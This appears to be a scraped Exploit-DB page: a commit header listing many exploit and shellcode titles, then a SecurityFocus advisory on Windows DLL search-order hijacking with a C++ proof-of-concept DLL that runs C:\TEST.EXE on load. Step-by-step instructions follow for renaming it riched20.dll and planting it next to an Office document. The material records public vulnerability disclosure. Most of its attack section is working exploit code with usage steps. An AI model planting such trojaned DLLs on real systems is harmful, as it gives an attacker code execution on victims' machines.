880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
52 lines
No EOL
2.2 KiB
C++
52 lines
No EOL
2.2 KiB
C++
source: https://www.securityfocus.com/bid/1699/info
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When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files.
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The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer.
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This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad.
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This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers.
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// dll1.cpp : Defines the entry point for the DLL application.
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//
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#include "stdafx.h"
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#include "stdlib.h"
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BOOL APIENTRY DllMain( HANDLE hModule,
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DWORD ul_reason_for_call,
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LPVOID lpReserved
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)
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{
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switch( ul_reason_for_call )
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{
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case DLL_PROCESS_ATTACH:
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// Initialize once for each new process.
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// Return FALSE to fail DLL load.
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MessageBox(NULL, "Hello world!", "Info", MB_OK);
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MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
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system("C:\\TEST.EXE");
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break;
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case DLL_THREAD_ATTACH:
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// Do thread-specific initialization.
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// MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK);
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break;
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case DLL_THREAD_DETACH:
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// Do thread-specific cleanup.
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break;
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case DLL_PROCESS_DETACH:
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// Perform any necessary cleanup.
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break;
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}
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return TRUE;
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}
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1) Rename dll1.dll to riched20.dll
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2) Place riched20.dll in a directory of your choice
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3) Close all Office applications
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4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll |